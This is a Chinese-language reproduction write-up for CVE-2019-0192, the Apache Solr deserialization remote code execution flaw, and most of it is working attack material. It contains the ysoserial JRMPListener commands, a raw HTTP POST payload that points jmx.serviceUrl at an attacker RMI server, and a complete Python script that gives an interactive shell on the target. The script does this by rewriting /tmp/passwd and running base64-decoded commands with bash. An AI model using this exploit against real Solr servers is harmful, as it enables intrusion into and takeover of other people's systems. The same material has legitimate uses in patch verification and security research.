(CVE-2019-0192)Apache Solr Deserialization 远程代码执行漏洞

一、漏洞简介

Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl,它将创建一个新的JMXConnectorServerFactory,并通过"绑定"操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象,这些对象将在Solr端使用java的ObjectInputStream反序列化,这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径,攻击者可以使用其中一个"gadget chain"来触发Solr端上的远程代码执行。

二、漏洞影响

Apache Solr 5.0.0 to 5.5.5

Apache Solr 6.0.0 to 6.6.5

三、复现过程

下载Apache Solr 5.5.3版本作为靶机(注意,一定要使用jre7u25以下jre),执行solr -e techproducts -Dcom.sun.management.jmxremote指令开启服务。

使用ysoserial工具,执行Java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12363 Jdk7u21 \"calc\"指令,监听12363**端口。然后传入以下数据:

POST /solr/techproducts/config HTTP/1.1

Host: 0-sec.org:8983

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Content-type:application/json

Connection: close

Upgrade-Insecure-Requests: 1

Content-Length: 91



{"set-property" : {"jmx.serviceUrl" : "service:jmx:rmi:///jndi/rmi://127.0.0.1:12363/obj"}}

poc

下载yoserial,并将value修改为一下内容

remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"

然后执行一下脚本

import base64
import requests
import subprocess
import signal
import sys
import os
import time
import re

remote = "http://172.18.0.5:8983"
ressource = ""
RHOST = "172.18.0.1"
RPORT = "1099"

proxy = {
}

def exploit(command):
    print("\n Run the malicious RMI server using yoserial by running this command:")
    print("\n java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21" + command)


if __name__ == "__main__":
    print("\nCVE-2019-0192 - Apache Solr RCE 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5\n")
    print("[+] Checking if ressource available =>", end=' ')

    burp0_url = remote + "/solr/admin/cores?wt=json"
    r = requests.get(burp0_url, proxies=proxy, verify=False, allow_redirects=False)
    if r.status_code == 200:
        if r.json()['status'] == "":
            print("KO")
            sys.exit()
        else:
            a = list(r.json()['status'].keys())
            ressource = "/solr/" + a[0] + "/config"
            print(ressource)
    else:
        print("KO")
        sys.exit()

    while True:
        try:
            command = input("command (\033[92mnot reflected\033[0m)> ")
            if command == "exit":
                print("Exiting...")
                break
            command = base64.b64encode(command.encode('utf-8'))
            command_str = command.decode('utf-8')
            command_str = command_str.replace('/', '+')

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'cp /etc/passwd /tmp/passwd'", stdout=subprocess.PIPE,shell=True, preexec_fn=os.setsid)

            print("[+] Copy file to tmp directory =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                m = re.search('(undeclared checked exception; nested exception is)', r.text)
                if m:
                    print("\033[92mOK\033[0m")
                else:
                    print("\n[-] Error")
                    os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                    sys.exit()
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1cpwn /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)

            print("[+] Preparing file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i /[^pwn]/d /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)

            print("[+] Cleaning temp file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'sed -i 1s/pwn/{echo," +
                command_str + "}|{base64,-d}>pwn.txt/g /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)

            print("[+] Writing command into temp file =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash /tmp/passwd'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)

            print("[+] Decode base64 command =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

            pro = subprocess.Popen(
                "java -cp ysoserial-master-ff59523eb6-1.jar ysoserial.exploit.JRMPListener " + RPORT + " Jdk7u21 'bash pwn.txt'", stdout=subprocess.PIPE, shell=True, preexec_fn=os.setsid)

            print("[+] Executing command =>", end=' ')
            burp0_url = remote + ressource
            burp0_headers = {"Content-Type": "application/json"}
            burp0_json = {
                "set-property": {"jmx.serviceUrl": "service:jmx:rmi:///jndi/rmi://" + RHOST + ":" + RPORT + "/obj"}}
            r = requests.post(
                burp0_url, headers=burp0_headers, json=burp0_json)
            if r.status_code == 500:
                print("\033[92mOK\033[0m")
            else:
                print("KO")
                os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
                sys.exit()
            os.killpg(os.getpgid(pro.pid), signal.SIGTERM)
            time.sleep(3)

        except KeyboardInterrupt:
            print("Exiting...")
            break

参考链接

https://github.com/mpgn/CVE-2019-0192

https://mp.weixin.qq.com/s?__biz=MzI4NjE2NjgxMQ==&mid=2650237094&idx=1&sn=4125bf632680d991f38f9f147657b38d&chksm=f3e2d2d2c4955bc4894b3098ca11cbe7d9917c23e173c87b7fe2f02c84b195aea381746567a3&scene=21#wechat_redirect